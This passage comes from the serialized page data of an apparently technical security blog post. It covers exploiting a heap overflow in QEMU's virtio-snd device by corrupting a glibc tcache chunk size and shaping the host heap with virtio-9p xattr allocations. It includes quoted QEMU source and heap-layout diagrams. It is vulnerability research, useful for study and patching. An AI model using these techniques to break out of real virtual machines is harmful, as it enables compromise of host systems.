[1]\n",{"type":23,"tag":141,"props":126186,"children":126187},{"class":143,"line":848},[126188],{"type":23,"tag":141,"props":126189,"children":126190},{"emptyLinePlaceholder":15},[126191],{"type":29,"value":719},{"type":23,"tag":141,"props":126193,"children":126194},{"class":143,"line":2304},[126195,126199],{"type":23,"tag":141,"props":126196,"children":126197},{"style":148},[126198],{"type":29,"value":125864},{"type":23,"tag":141,"props":126200,"children":126201},{"style":184},[126202],{"type":29,"value":125869},{"type":23,"tag":141,"props":126204,"children":126205},{"class":143,"line":2313},[126206,126210,126214,126218,126222,126226,126230,126234,126238,126242,126247,126251,126256],{"type":23,"tag":141,"props":126207,"children":126208},{"style":148},[126209],{"type":29,"value":29862},{"type":23,"tag":141,"props":126211,"children":126212},{"style":154},[126213],{"type":29,"value":1220},{"type":23,"tag":141,"props":126215,"children":126216},{"style":184},[126217],{"type":29,"value":125885},{"type":23,"tag":141,"props":126219,"children":126220},{"style":154},[126221],{"type":29,"value":125556},{"type":23,"tag":141,"props":126223,"children":126224},{"style":160},[126225],{"type":29,"value":4480},{"type":23,"tag":141,"props":126227,"children":126228},{"style":750},[126229],{"type":29,"value":125898},{"type":23,"tag":141,"props":126231,"children":126232},{"style":154},[126233],{"type":29,"value":322},{"type":23,"tag":141,"props":126235,"children":126236},{"style":750},[126237],{"type":29,"value":125907},{"type":23,"tag":141,"props":126239,"children":126240},{"style":160},[126241],{"type":29,"value":1253},{"type":23,"tag":141,"props":126243,"children":126244},{"style":154},[126245],{"type":29,"value":126246}," tcache ",{"type":23,"tag":141,"props":126248,"children":126249},{"style":160},[126250],{"type":29,"value":14364},{"type":23,"tag":141,"props":126252,"children":126253},{"style":449},[126254],{"type":29,"value":126255}," NULL",{"type":23,"tag":141,"props":126257,"children":126258},{"style":154},[126259],{"type":29,"value":498},{"type":23,"tag":141,"props":126261,"children":126262},{"class":143,"line":2335},[126263],{"type":23,"tag":141,"props":126264,"children":126265},{"style":154},[126266],{"type":29,"value":125638},{"type":23,"tag":32,"props":126268,"children":126269},{},[126270,126272,126277],{"type":29,"value":126271},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":38,"props":126273,"children":126275},{"className":126274},[],[126276],{"type":29,"value":122745},{"type":29,"value":126278},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":17463,"props":126280,"children":126281},{},[],{"type":23,"tag":32,"props":126283,"children":126284},{},[126285,126287,126292,126294,126300,126302,126307,126309,126315],{"type":29,"value":126286},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":38,"props":126288,"children":126290},{"className":126289},[],[126291],{"type":29,"value":122745},{"type":29,"value":126293}," field was initially ",{"type":23,"tag":38,"props":126295,"children":126297},{"className":126296},[],[126298],{"type":29,"value":126299},"0x200",{"type":29,"value":126301},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":38,"props":126303,"children":126305},{"className":126304},[],[126306],{"type":29,"value":124922},{"type":29,"value":126308},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":38,"props":126310,"children":126312},{"className":126311},[],[126313],{"type":29,"value":126314},"[0x210, 0x2f0]",{"type":29,"value":126316},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":32,"props":126318,"children":126319},{},[126320],{"type":29,"value":126321},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":8287,"props":126323,"children":126325},{"id":126324},"heap-spraying",[126326],{"type":29,"value":126327},"Heap Spraying",{"type":23,"tag":32,"props":126329,"children":126330},{},[126331,126333,126338],{"type":29,"value":126332},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":38,"props":126334,"children":126336},{"className":126335},[],[126337],{"type":29,"value":126299},{"type":29,"value":126339},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":32,"props":126341,"children":126342},{},[126343,126345,126350],{"type":29,"value":126344},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":38,"props":126346,"children":126348},{"className":126347},[],[126349],{"type":29,"value":122940},{"type":29,"value":126351}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":32,"props":126353,"children":126354},{},[126355],{"type":29,"value":126356},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":17563,"props":126358,"children":126360},{"id":126359},"virtio-9p",[126361],{"type":29,"value":126359},{"type":23,"tag":32,"props":126363,"children":126364},{},[126365,126370],{"type":23,"tag":38,"props":126366,"children":126368},{"className":126367},[],[126369],{"type":29,"value":126359},{"type":29,"value":126371}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":32,"props":126373,"children":126374},{},[126375,126377,126383,126385,126391,126392,126398,126400,126405],{"type":29,"value":126376},"Through a ",{"type":23,"tag":38,"props":126378,"children":126380},{"className":126379},[],[126381],{"type":29,"value":126382},"P9_TXATTRCREATE",{"type":29,"value":126384}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":38,"props":126386,"children":126388},{"className":126387},[],[126389],{"type":29,"value":126390},".name",{"type":29,"value":313},{"type":23,"tag":38,"props":126393,"children":126395},{"className":126394},[],[126396],{"type":29,"value":126397},".value",{"type":29,"value":126399}," fields, with the size of ",{"type":23,"tag":38,"props":126401,"children":126403},{"className":126402},[],[126404],{"type":29,"value":126397},{"type":29,"value":126406}," being directly controlled by the guest.",{"type":23,"tag":131,"props":126408,"children":126410},{"code":126409,"language":1807,"meta":7,"className":15191,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[126411],{"type":23,"tag":38,"props":126412,"children":126413},{"__ignoreMap":7},[126414,126456,126463,126487,126500,126511,126536,126544,126569,126586,126602,126628,126635,126656,126722,126746,126759,126766,126773,126780,126787,126807,126828,126839,126846,126853,126860,126867,126916,126972,127017],{"type":23,"tag":141,"props":126415,"children":126416},{"class":143,"line":144},[126417,126421,126425,126430,126435,126439,126443,126447,126452],{"type":23,"tag":141,"props":126418,"children":126419},{"style":449},[126420],{"type":29,"value":49523},{"type":23,"tag":141,"props":126422,"children":126423},{"style":449},[126424],{"type":29,"value":49528},{"type":23,"tag":141,"props":126426,"children":126427},{"style":154},[126428],{"type":29,"value":126429}," coroutine_fn ",{"type":23,"tag":141,"props":126431,"children":126432},{"style":184},[126433],{"type":29,"value":126434},"v9fs_xattrcreate",{"type":23,"tag":141,"props":126436,"children":126437},{"style":154},[126438],{"type":29,"value":192},{"type":23,"tag":141,"props":126440,"children":126441},{"style":449},[126442],{"type":29,"value":50106},{"type":23,"tag":141,"props":126444,"children":126445},{"style":160},[126446],{"type":29,"value":8496},{"type":23,"tag":141,"props":126448,"children":126449},{"style":750},[126450],{"type":29,"value":126451},"opaque",{"type":23,"tag":141,"props":126453,"children":126454},{"style":154},[126455],{"type":29,"value":758},{"type":23,"tag":141,"props":126457,"children":126458},{"class":143,"line":180},[126459],{"type":23,"tag":141,"props":126460,"children":126461},{"style":154},[126462],{"type":29,"value":766},{"type":23,"tag":141,"props":126464,"children":126465},{"class":143,"line":205},[126466,126470,126475,126479,126483],{"type":23,"tag":141,"props":126467,"children":126468},{"style":449},[126469],{"type":29,"value":17748},{"type":23,"tag":141,"props":126471,"children":126472},{"style":154},[126473],{"type":29,"value":126474}," flags, rflags ",{"type":23,"tag":141,"props":126476,"children":126477},{"style":160},[126478],{"type":29,"value":1377},{"type":23,"tag":141,"props":126480,"children":126481},{"style":472},[126482],{"type":29,"value":1707},{"type":23,"tag":141,"props":126484,"children":126485},{"style":154},[126486],{"type":29,"value":1684},{"type":23,"tag":141,"props":126488,"children":126489},{"class":143,"line":218},[126490,126495],{"type":23,"tag":141,"props":126491,"children":126492},{"style":449},[126493],{"type":29,"value":126494}," int32_t",{"type":23,"tag":141,"props":126496,"children":126497},{"style":154},[126498],{"type":29,"value":126499}," fid;\n",{"type":23,"tag":141,"props":126501,"children":126502},{"class":143,"line":227},[126503,126507],{"type":23,"tag":141,"props":126504,"children":126505},{"style":449},[126506],{"type":29,"value":54092},{"type":23,"tag":141,"props":126508,"children":126509},{"style":154},[126510],{"type":29,"value":123087},{"type":23,"tag":141,"props":126512,"children":126513},{"class":143,"line":241},[126514,126519,126524,126528,126532],{"type":23,"tag":141,"props":126515,"children":126516},{"style":449},[126517],{"type":29,"value":126518}," ssize_t",{"type":23,"tag":141,"props":126520,"children":126521},{"style":154},[126522],{"type":29,"value":126523}," err ",{"type":23,"tag":141,"props":126525,"children":126526},{"style":160},[126527],{"type":29,"value":1377},{"type":23,"tag":141,"props":126529,"children":126530},{"style":472},[126531],{"type":29,"value":1707},{"type":23,"tag":141,"props":126533,"children":126534},{"style":154},[126535],{"type":29,"value":1684},{"type":23,"tag":141,"props":126537,"children":126538},{"class":143,"line":262},[126539],{"type":23,"tag":141,"props":126540,"children":126541},{"style":154},[126542],{"type":29,"value":126543}," V9fsString name;\n",{"type":23,"tag":141,"props":126545,"children":126546},{"class":143,"line":271},[126547,126551,126556,126560,126565],{"type":23,"tag":141,"props":126548,"children":126549},{"style":449},[126550],{"type":29,"value":15241},{"type":23,"tag":141,"props":126552,"children":126553},{"style":154},[126554],{"type":29,"value":126555}," offset ",{"type":23,"tag":141,"props":126557,"children":126558},{"style":160},[126559],{"type":29,"value":1377},{"type":23,"tag":141,"props":126561,"children":126562},{"style":472},[126563],{"type":29,"value":126564}," 7",{"type":23,"tag":141,"props":126566,"children":126567},{"style":154},[126568],{"type":29,"value":1684},{"type":23,"tag":141,"props":126570,"children":126571},{"class":143,"line":293},[126572,126577,126581],{"type":23,"tag":141,"props":126573,"children":126574},{"style":154},[126575],{"type":29,"value":126576}," V9fsFidState ",{"type":23,"tag":141,"props":126578,"children":126579},{"style":160},[126580],{"type":29,"value":197},{"type":23,"tag":141,"props":126582,"children":126583},{"style":154},[126584],{"type":29,"value":126585},"file_fidp;\n",{"type":23,"tag":141,"props":126587,"children":126588},{"class":143,"line":801},[126589,126593,126597],{"type":23,"tag":141,"props":126590,"children":126591},{"style":154},[126592],{"type":29,"value":126576},{"type":23,"tag":141,"props":126594,"children":126595},{"style":160},[126596],{"type":29,"value":197},{"type":23,"tag":141,"props":126598,"children":126599},{"style":154},[126600],{"type":29,"value":126601},"xattr_fidp;\n",{"type":23,"tag":141,"props":126603,"children":126604},{"class":143,"line":810},[126605,126610,126614,126619,126623],{"type":23,"tag":141,"props":126606,"children":126607},{"style":154},[126608],{"type":29,"value":126609}," V9fsPDU ",{"type":23,"tag":141,"props":126611,"children":126612},{"style":160},[126613],{"type":29,"value":197},{"type":23,"tag":141,"props":126615,"children":126616},{"style":154},[126617],{"type":29,"value":126618},"pdu ",{"type":23,"tag":141,"props":126620,"children":126621},{"style":160},[126622],{"type":29,"value":1377},{"type":23,"tag":141,"props":126624,"children":126625},{"style":154},[126626],{"type":29,"value":126627}," opaque;\n",{"type":23,"tag":141,"props":126629,"children":126630},{"class":143,"line":824},[126631],{"type":23,"tag":141,"props":126632,"children":126633},{"emptyLinePlaceholder":15},[126634],{"type":29,"value":719},{"type":23,"tag":141,"props":126636,"children":126637},{"class":143,"line":839},[126638,126643,126647,126651],{"type":23,"tag":141,"props":126639,"children":126640},{"style":184},[126641],{"type":29,"value":126642}," v9fs_string_init",{"type":23,"tag":141,"props":126644,"children":126645},{"style":154},[126646],{"type":29,"value":192},{"type":23,"tag":141,"props":126648,"children":126649},{"style":160},[126650],{"type":29,"value":1770},{"type":23,"tag":141,"props":126652,"children":126653},{"style":154},[126654],{"type":29,"value":126655},"name);\n",{"type":23,"tag":141,"props":126657,"children":126658},{"class":143,"line":848},[126659,126664,126668,126673,126678,126683,126687,126691,126696,126700,126705,126709,126713,126717],{"type":23,"tag":141,"props":126660,"children":126661},{"style":154},[126662],{"type":29,"value":126663}," err ",{"type":23,"tag":141,"props":126665,"children":126666},{"style":160},[126667],{"type":29,"value":1377},{"type":23,"tag":141,"props":126669,"children":126670},{"style":184},[126671],{"type":29,"value":126672}," pdu_unmarshal",{"type":23,"tag":141,"props":126674,"children":126675},{"style":154},[126676],{"type":29,"value":126677},"(pdu, offset, ",{"type":23,"tag":141,"props":126679,"children":126680},{"style":828},[126681],{"type":29,"value":126682},"\"dsqd\"",{"type":23,"tag":141,"props":126684,"children":126685},{"style":154},[126686],{"type":29,"value":480},{"type":23,"tag":141,"props":126688,"children":126689},{"style":160},[126690],{"type":29,"value":1770},{"type":23,"tag":141,"props":126692,"children":126693},{"style":154},[126694],{"type":29,"value":126695},"fid, ",{"type":23,"tag":141,"props":126697,"children":126698},{"style":160},[126699],{"type":29,"value":1770},{"type":23,"tag":141,"props":126701,"children":126702},{"style":154},[126703],{"type":29,"value":126704},"name, ",{"type":23,"tag":141,"props":126706,"children":126707},{"style":160},[126708],{"type":29,"value":1770},{"type":23,"tag":141,"props":126710,"children":126711},{"style":154},[126712],{"type":29,"value":125455},{"type":23,"tag":141,"props":126714,"children":126715},{"style":160},[126716],{"type":29,"value":1770},{"type":23,"tag":141,"props":126718,"children":126719},{"style":154},[126720],{"type":29,"value":126721},"flags);\n",{"type":23,"tag":141,"props":126723,"children":126724},{"class":143,"line":2304},[126725,126729,126734,126738,126742],{"type":23,"tag":141,"props":126726,"children":126727},{"style":148},[126728],{"type":29,"value":151},{"type":23,"tag":141,"props":126730,"children":126731},{"style":154},[126732],{"type":29,"value":126733}," (err ",{"type":23,"tag":141,"props":126735,"children":126736},{"style":160},[126737],{"type":29,"value":4480},{"type":23,"tag":141,"props":126739,"children":126740},{"style":472},[126741],{"type":29,"value":1707},{"type":23,"tag":141,"props":126743,"children":126744},{"style":154},[126745],{"type":29,"value":13480},{"type":23,"tag":141,"props":126747,"children":126748},{"class":143,"line":2313},[126749,126754],{"type":23,"tag":141,"props":126750,"children":126751},{"style":148},[126752],{"type":29,"value":126753}," goto",{"type":23,"tag":141,"props":126755,"children":126756},{"style":154},[126757],{"type":29,"value":126758}," out_nofid;\n",{"type":23,"tag":141,"props":126760,"children":126761},{"class":143,"line":2335},[126762],{"type":23,"tag":141,"props":126763,"children":126764},{"style":154},[126765],{"type":29,"value":299},{"type":23,"tag":141,"props":126767,"children":126768},{"class":143,"line":2343},[126769],{"type":23,"tag":141,"props":126770,"children":126771},{"emptyLinePlaceholder":15},[126772],{"type":29,"value":719},{"type":23,"tag":141,"props":126774,"children":126775},{"class":143,"line":2352},[126776],{"type":23,"tag":141,"props":126777,"children":126778},{"style":154},[126779],{"type":29,"value":103286},{"type":23,"tag":141,"props":126781,"children":126782},{"class":143,"line":2421},[126783],{"type":23,"tag":141,"props":126784,"children":126785},{"emptyLinePlaceholder":15},[126786],{"type":29,"value":719},{"type":23,"tag":141,"props":126788,"children":126789},{"class":143,"line":2429},[126790,126794,126798,126802],{"type":23,"tag":141,"props":126791,"children":126792},{"style":148},[126793],{"type":29,"value":151},{"type":23,"tag":141,"props":126795,"children":126796},{"style":154},[126797],{"type":29,"value":125556},{"type":23,"tag":141,"props":126799,"children":126800},{"style":160},[126801],{"type":29,"value":9142},{"type":23,"tag":141,"props":126803,"children":126804},{"style":154},[126805],{"type":29,"value":126806}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":141,"props":126808,"children":126809},{"class":143,"line":2459},[126810,126815,126819,126823],{"type":23,"tag":141,"props":126811,"children":126812},{"style":154},[126813],{"type":29,"value":126814}," err ",{"type":23,"tag":141,"props":126816,"children":126817},{"style":160},[126818],{"type":29,"value":1377},{"type":23,"tag":141,"props":126820,"children":126821},{"style":160},[126822],{"type":29,"value":49734},{"type":23,"tag":141,"props":126824,"children":126825},{"style":154},[126826],{"type":29,"value":126827},"E2BIG;\n",{"type":23,"tag":141,"props":126829,"children":126830},{"class":143,"line":2467},[126831,126835],{"type":23,"tag":141,"props":126832,"children":126833},{"style":148},[126834],{"type":29,"value":126753},{"type":23,"tag":141,"props":126836,"children":126837},{"style":154},[126838],{"type":29,"value":126758},{"type":23,"tag":141,"props":126840,"children":126841},{"class":143,"line":2499},[126842],{"type":23,"tag":141,"props":126843,"children":126844},{"style":154},[126845],{"type":29,"value":299},{"type":23,"tag":141,"props":126847,"children":126848},{"class":143,"line":2507},[126849],{"type":23,"tag":141,"props":126850,"children":126851},{"emptyLinePlaceholder":15},[126852],{"type":29,"value":719},{"type":23,"tag":141,"props":126854,"children":126855},{"class":143,"line":2567},[126856],{"type":23,"tag":141,"props":126857,"children":126858},{"style":154},[126859],{"type":29,"value":103286},{"type":23,"tag":141,"props":126861,"children":126862},{"class":143,"line":7724},[126863],{"type":23,"tag":141,"props":126864,"children":126865},{"emptyLinePlaceholder":15},[126866],{"type":29,"value":719},{"type":23,"tag":141,"props":126868,"children":126869},{"class":143,"line":7742},[126870,126874,126878,126882,126887,126891,126895,126899,126904,126908,126912],{"type":23,"tag":141,"props":126871,"children":126872},{"style":184},[126873],{"type":29,"value":126642},{"type":23,"tag":141,"props":126875,"children":126876},{"style":154},[126877],{"type":29,"value":192},{"type":23,"tag":141,"props":126879,"children":126880},{"style":160},[126881],{"type":29,"value":1770},{"type":23,"tag":141,"props":126883,"children":126884},{"style":750},[126885],{"type":29,"value":126886},"xattr_fidp",{"type":23,"tag":141,"props":126888,"children":126889},{"style":154},[126890],{"type":29,"value":12435},{"type":23,"tag":141,"props":126892,"children":126893},{"style":750},[126894],{"type":29,"value":35453},{"type":23,"tag":141,"props":126896,"children":126897},{"style":154},[126898],{"type":29,"value":322},{"type":23,"tag":141,"props":126900,"children":126901},{"style":750},[126902],{"type":29,"value":126903},"xattr",{"type":23,"tag":141,"props":126905,"children":126906},{"style":154},[126907],{"type":29,"value":322},{"type":23,"tag":141,"props":126909,"children":126910},{"style":750},[126911],{"type":29,"value":46976},{"type":23,"tag":141,"props":126913,"children":126914},{"style":154},[126915],{"type":29,"value":2496},{"type":23,"tag":141,"props":126917,"children":126918},{"class":143,"line":7787},[126919,126924,126928,126932,126936,126940,126944,126948,126952,126956,126960,126964,126968],{"type":23,"tag":141,"props":126920,"children":126921},{"style":184},[126922],{"type":29,"value":126923}," v9fs_string_copy",{"type":23,"tag":141,"props":126925,"children":126926},{"style":154},[126927],{"type":29,"value":192},{"type":23,"tag":141,"props":126929,"children":126930},{"style":160},[126931],{"type":29,"value":1770},{"type":23,"tag":141,"props":126933,"children":126934},{"style":750},[126935],{"type":29,"value":126886},{"type":23,"tag":141,"props":126937,"children":126938},{"style":154},[126939],{"type":29,"value":12435},{"type":23,"tag":141,"props":126941,"children":126942},{"style":750},[126943],{"type":29,"value":35453},{"type":23,"tag":141,"props":126945,"children":126946},{"style":154},[126947],{"type":29,"value":322},{"type":23,"tag":141,"props":126949,"children":126950},{"style":750},[126951],{"type":29,"value":126903},{"type":23,"tag":141,"props":126953,"children":126954},{"style":154},[126955],{"type":29,"value":322},{"type":23,"tag":141,"props":126957,"children":126958},{"style":750},[126959],{"type":29,"value":46976},{"type":23,"tag":141,"props":126961,"children":126962},{"style":154},[126963],{"type":29,"value":480},{"type":23,"tag":141,"props":126965,"children":126966},{"style":160},[126967],{"type":29,"value":1770},{"type":23,"tag":141,"props":126969,"children":126970},{"style":154},[126971],{"type":29,"value":126655},{"type":23,"tag":141,"props":126973,"children":126974},{"class":143,"line":7893},[126975,126980,126984,126988,126992,126996,127000,127004,127008,127012],{"type":23,"tag":141,"props":126976,"children":126977},{"style":750},[126978],{"type":29,"value":126979}," xattr_fidp",{"type":23,"tag":141,"props":126981,"children":126982},{"style":154},[126983],{"type":29,"value":12435},{"type":23,"tag":141,"props":126985,"children":126986},{"style":750},[126987],{"type":29,"value":35453},{"type":23,"tag":141,"props":126989,"children":126990},{"style":154},[126991],{"type":29,"value":322},{"type":23,"tag":141,"props":126993,"children":126994},{"style":750},[126995],{"type":29,"value":126903},{"type":23,"tag":141,"props":126997,"children":126998},{"style":154},[126999],{"type":29,"value":322},{"type":23,"tag":141,"props":127001,"children":127002},{"style":750},[127003],{"type":29,"value":37623},{"type":23,"tag":141,"props":127005,"children":127006},{"style":160},[127007],{"type":29,"value":1674},{"type":23,"tag":141,"props":127009,"children":127010},{"style":184},[127011],{"type":29,"value":122658},{"type":23,"tag":141,"props":127013,"children":127014},{"style":154},[127015],{"type":29,"value":127016},"(size);\n",{"type":23,"tag":141,"props":127018,"children":127019},{"class":143,"line":22181},[127020],{"type":23,"tag":141,"props":127021,"children":127022},{"style":154},[127023],{"type":29,"value":2573},{"type":23,"tag":32,"props":127025,"children":127026},{},[127027,127029,127034,127036,127041,127042,127047,127049,127054],{"type":29,"value":127028},"Because the ",{"type":23,"tag":38,"props":127030,"children":127032},{"className":127031},[],[127033],{"type":29,"value":126390},{"type":29,"value":127035}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":38,"props":127037,"children":127039},{"className":127038},[],[127040],{"type":29,"value":126390},{"type":29,"value":313},{"type":23,"tag":38,"props":127043,"children":127045},{"className":127044},[],[127046],{"type":29,"value":126397},{"type":29,"value":127048},", not just the ",{"type":23,"tag":38,"props":127050,"children":127052},{"className":127051},[],[127053],{"type":29,"value":126397},{"type":29,"value":127055}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":32,"props":127057,"children":127058},{},[127059,127060,127065],{"type":29,"value":388},{"type":23,"tag":38,"props":127061,"children":127063},{"className":127062},[],[127064],{"type":29,"value":126397},{"type":29,"value":127066}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":32,"props":127068,"children":127069},{},[127070,127072,127077,127079,127085,127087,127093,127095,127101],{"type":29,"value":127071},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":38,"props":127073,"children":127075},{"className":127074},[],[127076],{"type":29,"value":126397},{"type":29,"value":127078}," buffer through a ",{"type":23,"tag":38,"props":127080,"children":127082},{"className":127081},[],[127083],{"type":29,"value":127084},"P9_TWRITE",{"type":29,"value":127086}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":38,"props":127088,"children":127090},{"className":127089},[],[127091],{"type":29,"value":127092},"P9_TREAD",{"type":29,"value":127094},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":38,"props":127096,"children":127098},{"className":127097},[],[127099],{"type":29,"value":127100},"P9_TCLUNK",{"type":29,"value":127102}," request on that same FID.",{"type":23,"tag":32,"props":127104,"children":127105},{},[127106,127108,127114],{"type":29,"value":127107},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":38,"props":127109,"children":127111},{"className":127110},[],[127112],{"type":29,"value":127113},"65536",{"type":29,"value":127115}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":8287,"props":127117,"children":127119},{"id":127118},"setting-the-heap-layout",[127120],{"type":29,"value":127121},"Setting the Heap Layout",{"type":23,"tag":32,"props":127123,"children":127124},{},[127125,127127,127132],{"type":29,"value":127126},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":38,"props":127128,"children":127130},{"className":127129},[],[127131],{"type":29,"value":126397},{"type":29,"value":127133}," allocations, like this:",{"type":23,"tag":131,"props":127135,"children":127137},{"code":127136}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[127138],{"type":23,"tag":38,"props":127139,"children":127140},{"__ignoreMap":7},[127141],{"type":29,"value":127136},{"type":23,"tag":32,"props":127143,"children":127144},{},[127145,127147,127152,127154,127159,127161,127166],{"type":29,"value":127146},"This lets us later create holes by freeing every other ",{"type":23,"tag":38,"props":127148,"children":127150},{"className":127149},[],[127151],{"type":29,"value":126397},{"type":29,"value":127153}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":38,"props":127155,"children":127157},{"className":127156},[],[127158],{"type":29,"value":122745},{"type":29,"value":127160}," field of the next live ",{"type":23,"tag":38,"props":127162,"children":127164},{"className":127163},[],[127165],{"type":29,"value":126397},{"type":29,"value":127167}," chunk.",{"type":23,"tag":32,"props":127169,"children":127170},{},[127171],{"type":29,"value":127172},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":32,"props":127174,"children":127175},{},[127176,127178,127183,127185,127190,127192,127197,127199,127204],{"type":29,"value":127177},"As mentioned earlier, ",{"type":23,"tag":38,"props":127179,"children":127181},{"className":127180},[],[127182],{"type":29,"value":126434},{"type":29,"value":127184}," always allocates two chunks: one for ",{"type":23,"tag":38,"props":127186,"children":127188},{"className":127187},[],[127189],{"type":29,"value":126390},{"type":29,"value":127191}," and one for ",{"type":23,"tag":38,"props":127193,"children":127195},{"className":127194},[],[127196],{"type":29,"value":126397},{"type":29,"value":127198},". We want to avoid having ",{"type":23,"tag":38,"props":127200,"children":127202},{"className":127201},[],[127203],{"type":29,"value":126390},{"type":29,"value":127205}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":116,"props":127207,"children":127208},{},[127209,127221],{"type":23,"tag":120,"props":127210,"children":127211},{},[127212,127214,127219],{"type":29,"value":127213},"Make ",{"type":23,"tag":38,"props":127215,"children":127217},{"className":127216},[],[127218],{"type":29,"value":126390},{"type":29,"value":127220}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":120,"props":127222,"children":127223},{},[127224,127226,127231,127233,127238,127240,127245],{"type":29,"value":127225},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":38,"props":127227,"children":127229},{"className":127228},[],[127230],{"type":29,"value":126390},{"type":29,"value":127232},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":38,"props":127234,"children":127236},{"className":127235},[],[127237],{"type":29,"value":126390},{"type":29,"value":127239}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":38,"props":127241,"children":127243},{"className":127242},[],[127244],{"type":29,"value":126397},{"type":29,"value":127246}," chunks.",{"type":23,"tag":17563,"props":127248,"children":127250},{"id":127249},"separating-name-allocations",[127251],{"type":29,"value":127252},"Separating .name allocations",{"type":23,"tag":32,"props":127254,"children":127255},{},[127256,127258,127263,127265,127270],{"type":29,"value":127257},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":38,"props":127259,"children":127261},{"className":127260},[],[127262],{"type":29,"value":126434},{"type":29,"value":127264}," for N ",{"type":23,"tag":38,"props":127266,"children":127268},{"className":127267},[],[127269],{"type":29,"value":126390},{"type":29,"value":127271},"-sized allocations and then freeing them.",{"type":23,"tag":32,"props":127273,"children":127274},{},[127275,127277,127282,127283,127288,127289,127294,127296,127301,127303,127308],{"type":29,"value":127276},"At this point, we already know that ",{"type":23,"tag":38,"props":127278,"children":127280},{"className":127279},[],[127281],{"type":29,"value":126434},{"type":29,"value":127184},{"type":23,"tag":38,"props":127284,"children":127286},{"className":127285},[],[127287],{"type":29,"value":126390},{"type":29,"value":127191},{"type":23,"tag":38,"props":127290,"children":127292},{"className":127291},[],[127293],{"type":29,"value":126397},{"type":29,"value":127295},". If we simply call it with ",{"type":23,"tag":38,"props":127297,"children":127299},{"className":127298},[],[127300],{"type":29,"value":126397},{"type":29,"value":127302}," sized the same as ",{"type":23,"tag":38,"props":127304,"children":127306},{"className":127305},[],[127307],{"type":29,"value":126390},{"type":29,"value":127309},", we get a layout like this:",{"type":23,"tag":131,"props":127311,"children":127313},{"code":127312}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[127314],{"type":23,"tag":38,"props":127315,"children":127316},{"__ignoreMap":7},[127317],{"type":29,"value":127312},{"type":23,"tag":32,"props":127319,"children":127320},{},[127321,127323,127328,127330,127336,127338,127344,127346,127351,127353,127358,127360,127365],{"type":29,"value":127322},"With that heap state, issuing a 